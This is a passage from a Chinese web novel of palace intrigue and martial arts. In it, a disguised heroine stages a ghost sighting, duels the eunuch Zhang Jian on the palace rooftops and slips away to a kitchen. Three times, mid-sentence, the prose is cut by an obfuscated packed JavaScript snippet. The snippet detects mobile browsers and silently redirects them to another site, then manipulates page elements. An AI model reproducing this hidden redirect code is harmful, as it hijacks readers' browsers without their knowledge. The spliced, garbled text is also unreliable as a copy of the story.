他身后还跟着七八个小黄门,一进殿便鱼贯而入,垂首敛目,动作麻利地忙着收拾屋内残局。 林婕妤见主心骨来了,迫不及待地上前告状,添油加醋地将方才的事说了一遍,最后还不忘强调:“……她不知使了什么妖术!宁妃娘娘,您可千万要为妾做主!” 殿内众妃一身狼狈,发髻歪斜,衣衫褶皱,眼神里却也透着对屠骁的不满,三三两两跟着帮腔。 宁妃伸手将就势倚过来的林婕妤戳开一掌距离,帕子在鼻尖轻轻扇了扇,眉头紧紧柠起。 “一股子鸟粪味儿。赶紧散了吧。” 说罢,转身便走了。 林婕妤一怔,抬手摸去,果然在发间摸到一滩湿漉漉的东西。 她不敢放到眼前看,只好张着手尖叫:“帕子,帕子呢!” 宁妃不置可否,众人也只得将不满咽下,各自收拾起来。 屠骁来至那跪地的宫女身旁,俯身将人扶起。宫女想躲,却如何躲得掉? 那只手看似轻柔,实则如铁钳一般,死死钳住了她的手腕。 屠骁低语道:“地上凉,快起来吧。” 章简已将披风递给了元鸣,见状快步抢上前来,要代替屠骁去搀扶那宫女。 他一靠近,屠骁便立刻甩开了手。 那宫女被他二人一夹,既惶恐又惧怕,只觉得似是冰寒又似滚烫的气流顺着手臂直攀肩膀。 她的牙齿不住地打颤,格格作响,不敢叫章简真的搀扶,自己咬着牙勉强站定了。 屠骁冲她笑了笑,由着元鸣为自己穿好披风。 那宫女低下头,看着自己的手,惊觉剧痛竟减弱了许多,连那骇人的红肿也淡了下去。她愈发确认这都是昭仪娘娘的手段,面上血色尽褪,只剩悚然,忙不迭地弯腰收拾茶盘。 章简自进来后,双眸便一直垂着。 此刻,他才抬眼,直直看向屠骁。 不想屠骁也正在看他。 她甚至冲他张开两只手掌,前后翻了几下,示意自己手上干干净净,并无猫腻。 章简想不通。 她今日这番作为,何止是莽撞,简直是放肆! 这样不计后果地当众整治宫人,非但是下了宁妃的面子,更是将今日在场的所有妃嫔都得罪了个遍。 即便不敢找她麻烦,往后在与她来往时,也必定要再三掂量。 她以后在宫中该如何立足? 难道旁人说她粗鄙,她便非要粗鄙给人看? 思及此,他心头陡然一惊。 莫非……这都是她故意做出来的? 章简按捺下心中波澜,轻声问那宫女:“齐娘子不碍事吧?” 那宫女又是惶恐又是惊诧,章都知竟认得她! “不碍事的,多谢章都知。”她忙道,“方才叫茶烫了一下,现下已经好多了。” 说着,她抬起手,那手背上果然只剩下被热茶烫过的浅淡红痕,已不太明显。 只是章简并不信。 里头的声音他也听见了,寻常人叫茶汤泼了,恐怕立时就要哀嚎起来。可这齐娘子却是过了片刻,才有了那样剧烈的反应,像是被抽去了痛觉。 他猛然记起,江湖上有一种封针术。 以毫厘之针刺入经脉窍穴,可暂时闭锁痛感,令伤者在死战之时犹能奋力一搏。只是此法极为凶险,一旦事后拔针,气血回流,便会遭到伤势反噬,承受成倍的痛楚。 难道方才万昭仪被撞时,便已然出手,待到宫女靠近时,才抽出针? 她能未卜先知?还是背后长了眼? 可她不是武功不好么? 正在这时,殿外忽的传来内侍的声音。 随即,宁妃身边的女官疾步入内:“官家来了,请众位娘娘出去拜见。” 这下满屋莺燕顿时慌了神。 方才闹了那么一遭,个个头发散乱,妆容花塌,眼下压根来不及收拾,只能手忙脚乱地理着衣冠,随着女官出去谒见。 屠骁一马当先,走在最前。 一出门,便见宁妃已跪在院中。秋风寒瑟,石砖冰冷刺骨,她却连狐裘披风都未曾围上,笔挺地跪在道旁。 屠骁快步走至她身后,也跟着跪了下来。 众妃嫔带着各自的宫人,乌压压地跪满了道路两旁,个个垂首屏息,连大气也不敢出。 畏惧霎时顺着秋风弥散开来,就连宁妃的肩膀也在微微颤抖。又或许她只是冷,屠骁看不见她的神情,说不出缘由。 一片寂静之中,三道脚步声由远及近。 第一道,迟缓,稳重。杏黄道袍的衣角拂过地面。 第二道,稳健,端方。青色云纹的袍角随之而过。 最后一道,轻缓,小心,几乎听不见声响,如同一阵轻抚春水的微风。 一片紫色的衣角倏然滑入屠骁的余光,又飞快地从左飘到右,飞离她的视线。 屠骁的拳头骤然攥紧,牙关死死咬住。 章怀恩。 宁妃已带头叩首,扬声高呼:“恭迎仙君。” ——官家一心向道,潜心修炼,命宫中上下当面皆呼其为“仙君”,背后仍称官家。 屠骁没有开口。 她随着众人俯身下拜,冷脸听着众人山呼“仙君”,无论如何也说不出那两个字。 得道成仙。 为了这四个字,屠家上下十三口人命,都变作一张薄薄的长生箓,一顶方方的乌纱帽,一抔烂烂的泥。 官家进了正殿后,宁妃才得了招呼,起身入内。 那位身着青色道袍的年轻男子也跟了进去,倒叫屠骁有些疑惑。 这位难道是太监?为什么穿的衣服却不同? 众妃与宫人们依旧跪在院内,不敢起身。 片刻后,章怀恩走出来,立于殿前,柔声道:“官家今日与国师议事,留在宁妃娘娘处用膳,各位娘娘请回吧。” 原来那青衣人是国师! 屠骁心中诧异,她还道国师是位鹤发白首的得道高人,不想竟这样年轻! 章怀恩又转向屠骁,笑眯眯道:“昭仪娘娘方入宫,礼数万不可少,待安置妥当,官家自会召见。放心,官家不会忘了您的。” 屠骁能说什么? 她什么也不能说,她怕一开口就忍不住痛骂。 元鸣搭上她的手腕,见她红着眼眶行了礼。 众人又是一番请安,这才敢起身告辞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007991|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章简却错后了一步。 屠骁走了两步,发觉他并未跟上,也停了下来,回身看他。 章简立刻收回视线,快步走上前。 屠骁道:“我听闻都知是章伴的义子。” 章简垂首:“正是。” “我还听闻,章伴的武功不低,曾亲手教导过都知。” “正是。娘娘从哪里知道的?” “自然是问来的。我知道的事还有很多。” “这本不是秘密。” “所以我知道也无妨。” “自然。下次娘娘若想知道什么,不妨直接问我。” “我还听闻你的武功很高,倒是很想与你切磋一番。” 章简一顿:“臣不敢。” “你难道不想?”屠骁的目光落在他脸上,“那你方才为什么要试探我?” 若不是她躲得快,他差一点就挨到她的手腕了。 章简只重复道:“臣不敢。” 屠骁不与他辩驳,慨叹道:“我从前与人切磋,那些人都拿着万家的银子,对我多有忍让,不敢真正出招,实在没什么意思。” 章简笑道:“内侍省倒是有许多能人,改日叫他们耍两招给娘娘看吧。” 屠骁点头:“那么改日是哪日呢?” 章简没有回答。 他正瞥见有人正朝这边靠近,极有分寸地退到了一旁。 甄修仪裹着一身鹅黄的滚毛披风,头上戴着兜帽,盈盈上前,自然地挽住了屠骁的手臂。 屠骁放慢了步子,随着她往前走,口中道:“小心我的妖术。” 甄修仪轻笑:“你若真是妖,那我便是鬼了。” 屠骁隐隐觉得这话有些不对劲,没有接茬。 甄修仪瞥了眼身后,除了一位冷面肃容的女官之外,其余宫女太监们便都识趣地放慢了脚步,她这才开口。 “我不知昭仪娘娘也信佛。” “我并不信佛,只是恰巧读过几句佛经。” 甄修仪的声音低了下去,像是自语:“你说,这世事……当真是果报自受么……” 屠骁还是那句话:“我不懂,只是觉得那句经文不错而已。” 甄修仪沉默了。 她的眼神飘忽了一瞬,忽然松了手,冲屠骁端端正正行了一礼,笑容淡淡:“告辞了。” 屠骁看着她的背影,勾起唇角。 她知道,今日的目的达到了。 今日这样一闹,怕她的自然不敢再来。不怕她的,或是心里有鬼的,自会主动来寻她的麻烦。 她不是一个怕麻烦的人。 相反,她倒是很期待麻烦。麻烦多了,日子总是很有趣的。 若是这些麻烦能与柳娘的死有关,就更好了。 - 麻烦终于找上了门。 是日天阴,黑云压城。 秋雷滚滚而过,狂风卷地陡起。院内宫灯明灭不定,喘了几喘,终于熄了,天地霎时黑成一片。 直到了亥时初,一场雨才姗姗降下。 那雨声或许有催眠的作用,元鸣今日守夜,却睡得死死的。两个宫女倚在矮凳上,发出细细的鼾声。 守静宫正殿的窗子并未关严,张开了一条缝,风从缝隙斜斜卷入,将床帐鼓起浪一般涌动的波纹。 隐约间,一道黑色的人影端坐帐后。 雨中,有什么声音缓缓靠近。 啪嗒,啪嗒。 湿漉漉的脚步重重地踏在地上,似乎每一步都走得极为艰难。 脚步停下。 窗子蓦地响了一声。 随即,一截惨白的手臂缓缓伸了进来。 8. 意料之外的一招 那只手将窗子缓缓推开。 床帐上立时响起窸窸窣窣的声响。 “元鸣?”一个慵懒的女声从帐后传来,“你还没睡?好冷啊……炭盆熄了吗?” 那只手顿了顿,没有缩回,反而继续向里,将窗子推至最大。冷风夹着雨丝阵阵吹入,将帐幔吹得鼓荡不休。 床上的人等了半晌,未听见回答,似是有些疑惑,便抬手将床帐掀开一角。 “还不快关——” 话音戛然而止。 今夜无月无灯,天地间本该是一片纯粹的黑。可就在那洞开的窗口,一道灰影立在中央。 那人影穿着一身阔大的白衣,随风鼓动,湿透的黑发黏在脸上、肩上,更多的则随着冷风四处飞散,如同数条细蛇在脑后狂舞。 床上的人像是被吓傻了,忙不迭收回手,缩到帐内。 她压着声音低喝:“你是何人!” 窗外的人影纹丝不动。 风声里,一道沙哑的悲鸣响起:“冤啊……” 那女子身上滴着水,声音也寒得能拧出水,在死寂的雨夜里听来分外渗人。 她一面伸出手,指甲一下一下地抠着着窗棂,一面又喊: “冤啊……冤啊……” 床上的人声音发涩:“你、你是人是鬼?什么冤屈,与我何干!” “冤啊……” 低低的泣诉声渐行渐远,慢慢消失。 半晌,床帐扒开一条缝,一只眼从缝隙中露出来,向外张望。窗口已经空了,没有人,也没有鬼。 屠骁的脸从床帐后头完完整整地显露出来,上头是显而易见的失望。 没意思。 枉费她特意点了元鸣和几个宫女的睡穴,好给人留下可乘之机。 还以为要打要杀,结果这一番折腾,只是喊了两句冤么? 这宫里对付人的手段弯弯绕绕,复杂,她不懂。她懂得只是与人过招。但她想,这二者的道理是一样的。 人永远无法完完全全地理解另一个人,与其猜测对手的招数,倒不如让对手猜测你。 攻击才是最好的防守。 既然这桩事没意思,那便想些法子让它更有意思好了。 屠骁一跃下床。 她身上穿着一身素白的寝衣,手腕脚腕处皆用白布条细细捆扎妥当。 这样的孝服她有不少,本还觉得白色太过扎眼,不想今日倒真派上了用场。 她瞥了一眼窗外廊下的脚印。 雨水冲刷下,水渍已不太明显,从脚步声音和脚印的间距可以分辨得出,这位扮鬼之人几乎没有轻功。 但人却消失得很快,如同凭空蒸发了一样。 屠骁沉吟片刻,俯身趴在窗边,手指在窗棂上仔细摸索。很快,两根指头便捻起了一根极细的银针,针上,挂着一条指头粗细的白色衣料。 这银针本是她部下的机关,用来查看是否有人偷偷翻入屋内,今日终于派上用场,留下了重要证据。 她将针和衣料收好,一跃出了窗,顺着梁柱飞上屋顶,对着沉沉夜色,运足气力,张口大喊。 “啊———!!!” 声音凄厉,划破雨幕。 或许惊不醒被点了穴的宫人,但一定会惊醒那位歇在侧院、身负武功的太监。 她侧耳静候。 片刻,果然响起了开门之声。 - 章简没睡。 他当然知道有人来了。 宫里的手段,无非就是四招:装神弄鬼,挑拨离间,栽赃嫁祸,借刀杀人。 这其中,装神弄鬼乃是最简单、最低等的一种。 要扮女鬼,来的定是个女子。 是女子,便没有武功。 因此,早在那女子踏入正院时,他便听见了。 她存心将脚步踏得极重,好惊醒已睡下的万昭仪。她似是笃定了,他就算听见也无法立刻赶去。 她的确算得很准,因为此刻正是他沐浴的时辰。 宫中设有浴院,与外头的香水行无甚区别,香汤沐浴、擦背梳发,但那是宫女们偏爱的地方,太监们却心照不宣地不肯前去。 只因沐浴实在是件麻烦事,且不得不将自己的弱点袒露于人前,接受彼此目光的检阅和品评。有条件的太监可以有单人浴桶,没有条件的索性不怎么沐浴。 冬日里尚可遮掩,夏日里往往是臭气熏天。 好在他们不用往主子跟前凑。 章都知自然是有这个条件的。 他刚沐浴完,以熏笼烤着干净衣物,坐在炭盆边,一面用布巾擦拭着湿发,一面好整以暇地猜测。 会是谁来吓唬万昭仪?又会扮成什么模样呢? 猜来猜去,似乎谁都有可能。 这位昭仪娘娘树敌实在是太多了。 她既是罪臣之后,姐姐又死得不太光彩,一入宫却得了这样高的位分,本就招人嫉恨。 若是她夹起尾巴做人还好,偏偏她性子嚣张,横冲直撞,一来就将宁妃和大半宫妃得罪了个干净。 这都不遭回击,那才是怪事。 若说后宫女子之间,当真有什么血海深仇么? 其实也没有。 有时害人并不需要多大的恨意,甚至不需要理由。单是不服管教这一点,就足够叫人出手了。 这宫城是最不需要棱角与个性的地方。 进来的人,总要舍掉些什么,才能站稳脚跟。 守静宫是两进的院子,正院住着昭仪与宫女,侧院则是章简与两名小黄门。 来人必定是观察了好几日,摸准了各人的作息,才决意今夜出手—— 万昭仪白日里要被女官教导宫廷礼仪、诗书字画,饭后还要抄写课业,每日恨不得扔了笔倒头就睡。 而他呢? 每日酉时末会去一趟内侍省,用过饭,戌时正回到守静宫。而后便是练功,沐浴。 此刻,百刻香正燃到亥时初。 柏子香散发出沉郁幽深的气息,章简不喜欢这味道,可架不住章怀恩喜欢。 他闭着眼,嗅着这熟悉的香气,想象着自己穿上紫色官服,头上的卷脚幞头随着步履轻轻摇晃,文武百官皆跪伏于脚下,视野里只剩一片黑压压的乌纱帽。 即便那跪拜并非向他,即便那臣服并非自愿…… 双颊的肌肉不由地向两边扯动,他抽筋似的亮出了两排牙。 一个太监所能达到的巅峰,也不过如此。 就在这时,细密的雨声中,一声惨叫陡然炸开。 章简倏地睁开眼,推门而出。 秋雨细密如针,冰冷地刺在皮肤上。 尖叫之后,再无声响。 而后,一种声音响起,像是鸟雀的喙轻轻啄在琉璃瓦片上。 哒,哒,哒。 脚步声。 轻盈、迅捷,片刻间来至近前。那绝不是一个没有功夫的人能发出的动静。 不好! 章简耳朵一动,脚步方要迈出,便霍然抬眼。 正前方,细密的雨雾之中,一道剪影如塔般昂立屋顶。 章简来不及多想,单手挽起披散的长发,一抓,一拧。待发髻挽好时,人已足尖点地,踩着院中的树枝,踏上了房顶。 那道剪影早在他动作时便已动了,足尖在瓦上轻轻一点,便如一抹白烟,朝着东面掠去。 琉璃瓦片裹着雨水,滑不留足。屋脊不过三寸来宽,四只脚踩在瓦上,没有一只有分毫打滑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007992|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个追,一个逃,后面那个便如前面那个的影子一般,紧贴不放。 西六宫的殿宇连绵,五脊六兽沉默地注视着这场追击。 章简心中渐渐生出一股寒意。 他发觉,前面这人并非在逃,而是在兜圈子,刻意放慢了速度在溜着他玩。 他愈发惊疑。 此人武功绝不在他之下,若想取万昭仪性命,何须装神弄鬼? 若只是为了装神弄鬼,何必动用这等高手,这人又是如何潜入宫中的? 雨水早已将他的衣衫尽数打湿,左腿在寒风中微微发颤。 人是自守静宫出现的,此事断不能传扬出去,叫干爹知道。 他眼中闪过厉色,身形猛然伏低,右脚错后半步,陡然发力,双手成爪,整个人如离弦之箭,直扑那人脖颈。 这一击若中,那人必是立时毙命。 前面那人似是背后有眼,竟不闪不避,只将身子向后一折。 那腰身柔韧得不可思议,醉酒般轻轻向后一躺,身子却在距离屋脊一寸之处悬停住。 两影平行,擦身而过。 那人散乱的长发顺着屋脊铺散开来,露出一张没有五官的脸。章简一悚,才发现那不过是一张覆面的白纱。 电光石火之间,两人已在屋脊上交换了位置。 女子足尖在瓦面轻轻一点,整个人飘然直起,稳稳立在屋檐之上。 章简心知自己绝非她的对手,对方也并无杀心。 否则,方才擦身那瞬,他周身命门大开,早已成了一具尸体。 章简站定:“你——” 他的话没有说完,已经意识到自己错了。 那女子在他张口的瞬间,已然攻至身前,她竟丝毫不给他反应与开口的机会,招招皆是杀手! 一招,直取眉心,章简侧首避过,凌厉的指风擦着面颊刮出一道血痕; 二招,封死下盘,一记鞭腿扫向他左膝,他只得提气纵跃; 人尚在半空,第三招便已如影随形,一记手刀直劈他咽喉。 她没有招式,没有门路。 她只是想杀他。 章简毫无还手之力,他这才发现错估了对方的来意,她并非没有杀心,只是没有趁手的兵器。 这样的高手或许也不需要兵器。 三招结束,他被逼得连连后退,两只脚都已退到了屋脊边缘。 再退一步,便是摔落。 他本想问出此人来路,可惜对方步步紧逼,根本不留余地。焦躁之下,他心头也起了杀意,当即沉腰立马,挥出一掌。 此招是章怀恩亲授,需以极强劲的内力催动,一旦使出,威力万钧。起势的瞬间,他周身的雨雾竟被一股无形的气流吹得翻滚起来,整个人笼上了一层淡淡的白汽。 一眨眼,他已掠至对方身前,一掌推出,正对那女子的心口。 这一掌若是拍实了,不死也残。 可那女子却不躲不闪,直挺挺立在原地,像是被吓傻了一般。 章简已然察觉不对,但出招只在瞬息,这一掌使出,便再无后悔的余地。 他心下一横,拼着自身受伤的风险,也必要让对方硬吃下这一招。 可对方仍然没动,反而将身子向前轻轻送了一下。 凌厉的掌风携着水汽堪堪来至她身前,她才轻轻一拧腰,让那排山倒海般的力道擦着身子刮过。 她的人被掌风刮过,口中发出一声闷哼。 中了! 章简心中大定,正要立刻再补一招,却陡然浑身一僵,一道闪电般的颤栗顺着他的脊背直蹿上天灵盖。 这是他无论如何也想不到的一招,也是他认为无论如何也不会用在自己身上的一招—— 掏裆。 9. 祸事临头 章简自诩没有弱点。 他已是阉人,再无俗世的男女之欲;他已习得“大弃”功法,十年如一日,忍人所不能忍,早已将一颗心磨炼得如铁石一般无坚不摧。 无欲无求,便无懈可击。 可直到今日今夜,此时此刻,他才惊觉自己大错特错。 他尚有一个弱点,一个他以为早已舍弃,却仍根植于这具残破之躯中的弱点。 那一招来得刁钻狠绝,全无半点常理规矩可言,他只觉得大腿根部一阵痉挛,几乎丧失了知觉。 视野之中,女子的腿影收回,紧接着,屋脊与她蒙着白纱的脸急速下坠,另一座殿宇的屋脊倒悬着撞入眼帘。 被雨水浸湿的衣袍向上翻飞,如同被射中翅膀的白鸽。 ——他这才意识到自己是被捅了一下,又踹下了屋檐。 一股钻心刺骨的剧痛从大腿根部轰然炸开,如此隐秘、猝不及防,叫他一瞬间忘了呼吸,也忘了身在何处。 立于屋脊上的白衣女子探头瞥了一眼,不再恋战,转身离去。 恰在此时,雨丝停了。 浓云散开一道缝隙,残月如钩,苍白的月华洒落下来,照得琉璃瓦上的水光一片晶莹。 殿脊尽头的吻兽双目圆睁,眼角带泪,一颗水珠悬在兽口,将落未落。 “啪!” 一声脆响。 那颗水珠尚未落下,便被一道破空而来的银光打得粉碎。 章简已从地上翻身而起,单手在地上一撑,借力跃回屋脊。站定时,手中多了一条软鞭,鞭身通体银白,在月下亮得刺眼。 那女子已掠至东面另一座屋脊之上,闻声顿住脚步,回身看他。 雨后的夜风吹起她湿透的白衣与长发,她隔着数丈的距离静静与他对视。 那姿态气定神闲,仿佛笃定了他就此罢手,既追不上她,也打不过她。 一股无名火自章简心底腾起,又被他死死压下。 “你是何人?为何夜闯大内?” 对方不答,只是负着手,翘着脚,歪着头打量他。 他想,那张白纱下的脸一定是轻蔑的,戏谑的,高高在上的…… 令人憎恶的! 他可以忍受酷暑寒冬,可以忍受主子们的责骂侮辱,可以忍受干爹的棍棒与义兄弟们的排挤。甚至禁卫统领当面骂他阉狗,他也能笑脸相迎,欣然应下。 可他无法忍受旁人轻蔑他的武功。 这世上什么都可以不是他的,只有武功是旁人夺不走、抢不去的。 只有武功才是他自己的! “大弃功”是干爹章怀恩亲授于他的立身之本,这套心法掌法合一,内力雄浑,练至深处,与人对决时,即便不胜,也绝无败理。 这世上,除了干爹,没有第二个人有资格用这种眼神看他! 她凭什么? 章简再也按捺不住,恼羞成怒之下,手腕一抖,银鞭如毒蛇一般直取女子面门。 白衣女子不闪不避,只在银鞭挥出的瞬间,轻轻一转袍袖。 只听“啪”的一声轻响,那势不可挡的银鞭竟像是撞上了墙,攻势骤然一滞。 章简只觉喉头一紧,一种酥麻顺着皮肤蔓延开来。颈间凉意袭来,他分不清是雨水还是冷汗。 银鞭被一股巧劲卸去力道,鞭梢却落入对方手中,被她牢牢攥住。 而方才那一滞,他的咽喉、手腕、心口……似乎都被暗器打中了。 那必是一种很厉害的暗器,悄无声息、劲力非凡,必能叫他当场丧命。 可他并没有丧命。 他抬手摸向喉咙,指尖捻起暗器,却发现那只是一枚湿漉漉的叶梗。再看身上,竟有十二枚同样的叶梗,分布在他周身各处大穴。 算上打在鞭身上的那一根,一共十三根。 幸亏这只是叶梗,幸亏这不是刀。 章简瞳孔骤然紧缩,霍然抬头:“十三刀……你是十三刀?!” 神龙见首不见尾的十三刀,竟是个女子! 她为何会出现在宫里? 她究竟有何图谋? 屠骁忍住笑意,心道一句对不住,盯着章简那张骇然的脸,“呵”了一声,算作回答。而后松开鞭梢,转身便走,再不回头。 白色的身影几个起落,眨眼间被连绵的殿宇飞檐吞没。 章简看得分明,她去的方向,正是官家所在的太一宫。 他知道自己拦不住了。 他也知道,一场避无可避的祸事已然降临。 他默默收回银鞭,顾不上去擦脸上的雨水,从怀中掏出一枚铁哨,凑到唇边,吹出一段急促的调子。 这是内侍省与禁军沟通的讯号—— 刺客夜袭,全宫警戒。 - 太一宫的确在守静宫的东面,但那道白色的影子并未真的前去。 她只是朝着那个方向虚晃几步,引开章简的注意,便寻了个死角翻身下地。 甫一落地,她便再也支撑不住,踉跄几步,靠在墙上,捂着嘴剧烈地咳嗽起来。喉中似有腥甜翻涌,被她生生咽了下去。 章简那一掌,她虽避开了要害,但掌风依旧震伤了她的内腑。 她存心试探章简的武功,也着实想揍他一顿,却不料八年不见,这狗东西的功力竟精进如斯。 好在她短期内不打算与人交手,伤得也并不重,有足够的时间调养恢复。 大内禁中,集天下奇珍异宝、武学秘籍,章简功力飞涨倒也不难理解。 她只是担心,章简已如此厉害,那章怀恩呢?他的武功,会是章简的十倍,还是百倍? 自己当真杀得了他么? 屠骁靠着墙,缓缓调息。 这些年来,她有意探听到了禁军统领的名号,也得知官家身边有几位顶尖高手护卫,却从未在江湖上听闻过章怀恩此人——他从未出手。 一个从未出手的人,才是最可怕的。 可不论多么可怕,章怀恩都是一定要杀的。 四处无人,屠骁扫视一眼,推开一扇虚掩的房门。 屋内是一条长长的案板,四周箱笼和木架散发着米面的气味。炉膛里的火虽已熄灭,但灶台尚有余温。 她忍不住靠了过去,扯掉脸上的白纱,蹲在炉边汲取暖意。 正在此时,屋外响起了脚步声。 这个时辰,膳房早已落锁,不该有人。那脚步声很慢,踩在湿滑的地面上,几乎听不见声响,只是从步伐的频率依稀能辨别出是个女子。 脚步声在门口停下。 片刻,门被轻轻推开。一道高挑的身影投下,手中似乎拎着什么。 屠骁闭上眼,静待那人靠近。 一步,又一步,来人的影子被门外的月光拉长,虚虚投在炉膛上,正好将屠骁的身影完全笼罩。 屠骁依然没有动作,似乎已然昏睡过去。 那人犹豫片刻,猛然伸手,向前探去—— 手抓了个空,反倒被屠骁一把攥住腕骨,拉至面前。 那人一个趔趄,险些摔倒。 四目相对,屠骁笑了起来。 她手上用力,将那人也按着蹲在了地上。 女子身上带着冷气,说的话也毫不客气:“没想到你也会怕冷。” “我是人,自然会怕冷啊。” 那女子将手里抱着的披风递给她,屠骁摸着上头的缎面,却没有接。 “我不能要你的衣裳,”她说着,飞快地解开身上湿透破损的寝衣,“我这身衣裳也不能要了。” 寝衣之下,竟还有一套完好的寝衣。 女子默默将那件湿衣揽入怀中:“好,我烧掉。” 屠骁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007993|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头。 炉膛里尚有火星,映着她苍白的脸,那神情说不清是放松还是茫然。 “你不该来的。”半晌,她轻声道。 这话似乎有些耳熟,说完,她自己便忍不住笑了。 女子冷脸埋怨道:“你说过来了京城一定会来寻我。你不肯来,只好我来寻你了。” “是万棠给你的消息?” 女子挑眉反问:“你不就是万棠么?” 屠骁果然十分受用,摸着自己的脸,啧啧两声:“我的扮相实在完美,唯一美中不足便是万棠太矮,我总不好把脚削掉。” 女子冷着脸,没开口。 屠骁又问:“死的那个司药娘子,长什么样子?” 女子简短地形容了几句,除了胖瘦,与方才那扮鬼之人的身形样貌几乎一致。 屠骁心中了然。 若那司药娘子真是被柳娘所害,如今柳娘已死,她也算大仇得报,又何必再来喊冤? 除非凶手另有其人,扮鬼之人吓唬“万昭仪”,是盼着这位妹妹能主动出头查明真相,为姐姐洗清冤屈。 “你倒是消息灵通。”屠骁叹道。 她这几日也想法子打探消息,可这宫里的人说话都模棱两可,探来的消息倒是不少,可多是虚实不分、真假难辨。 女子同情地看着屠骁,仿佛在看一个不通世事的白痴:“不是我灵通,是银子灵通。这宫里处处都要拿银子开路,你可别舍不得那仨瓜俩枣。” 屠骁眉头一皱,又很快舒展开来:“……知道了。” 她并不吝惜银子,只是还不大习惯宫中这行事风格。 此地不宜久留,确认内息已稳,屠骁便起身离开。 走到门口,她忽然回头:“金拂,我有没有说过,你的鸭油酥当真天下一绝?京城酒楼那么多,你真该去做个厨娘。” 金拂脸上那层冰霜终于融化,露出灿烂的笑:“我已是一个厨娘了,还是这天底下最尊贵的厨娘。” 屠骁不再劝了。 一个人若铁了心要报恩,是连自己的性命都能舍去的,这一点没有谁比她更有体会。 于是她不再多言,身影一闪,消失在夜色里。 - 刺客夜袭,将新入宫的万昭仪吓得病倒,又直奔太一宫方向而去。 此事惊动了禁军,连夜搜查,却连刺客的影子都没找到。 官家吓得不轻,再不肯留在宫里,带着国师连夜搬去了南郊的行宫。 临走前,将圣人狠狠申斥了一顿,命皇城司彻查此事,又特指内侍省右都知常怀德全力协助。 刺客自守静宫出现,后宫宫苑的防卫又一向是章派的人负责,如今出了这等大事,简直是将刀柄亲手递到了常怀德的手中。 章怀恩要随驾去南郊,无法坐镇宫中,可以想见,章派众人必将遭到常派的大肆攻讦。 章简在吹响哨子那一刻便预见了这一后果。 可他又能如何呢? 他自知拦不住“十三刀”,也无法隐瞒真相,只能尽快示警,将损失降到最低。左右都是绝路,若非要选一条,必定是损失最小的一条。 换做是干爹,也必然会如此抉择。 况且他还在身上发现了对方的一片衣角,并非毫无所获。 如此一想,他便不觉得委屈了。 临行前,章怀恩抽空见了章简一面。 章简在冷风里足足跪了一个时辰,院中人来人往,无人看他。章怀恩领着数名殿头匆匆路过,瞥了他一眼,没有怒骂,没有责打,只轻轻叹了口气。 “权都知的职司交给严律。你自去领罚吧。该办的事别忘了。” 严律一向与章简不对付,在官家身边随侍十多年了,仍是个押班。 章简吐出一口气,重重地磕了个头。 “谢干爹。” 10. 有话直说 章怀恩的处罚是什么,没有人知道。 屠骁只知道,她病的时候,章简也病了,还病得不轻。 屠骁的病立刻便好了,她当即要去侧院“关心关心”他。 元鸣追在她身后,给她披上大氅。 “娘娘还是顾好自己吧。”元鸣面上满是忧心,“瞧着快下雪了,您本就受了风寒,可别再吹风了。” 健壮的人不常生病,可他们一旦生病便是很要命的。 元鸣看着屠骁泛红的鼻头,心中十分愧疚。 那晚本是她值夜,但她许是太累了,睡得像一块石头。等她醒过来时,便见到昭仪娘娘脸色煞白,女鬼似的哆哆嗦嗦地立在她床前。 她立刻吓得跳起来。 而后得知当真出现了“女鬼”,又听闻宫中响起杂沓的脚步声,她这才发觉,不但有鬼,还有刺客。 昭仪娘娘竟还反过来安慰她,叫她不必害怕,刺客已经走了。 还道,这世上没有鬼,只有心里有鬼的人,可惜你没看到,真是好热闹的一晚! 元鸣更加自责了。 因此在宫正司的女官前来责罚时,她一言不发地领了罚。娘娘染了风寒,她更是使出了十二分的小心伺候。 屠骁并不是一个容易心软的人。 你死我亡的生活容不得丝毫迟疑和动摇,稍有不慎便是粉身碎骨。但面对元鸣那殷切、惭愧的眼神,她仍是难免动容。 “好吧,我只是在院里走走。”屠骁道,“不许我练武,还不许我走路么?” 她的确内伤未愈,又受了凉,面色不大好看。 只在廊下站了片刻,元鸣就小声催促她回去。 屠骁只好往回走,她的目光落在元鸣的发髻上。之前总觉得不太对劲,经过金拂那么一说,她终于发觉哪里不对了。 “你那支荔枝钗呢?” 元鸣下意识想抬手抚上发髻,手到半空又改了道,在耳朵上别了下碎发,垂下头:“收起来了。” 这话明显是在说谎,她的耳边也并没有碎发。 “是给了圣人的尚宫吧?”屠骁看着她。 元鸣不说话,脸颊却红了。 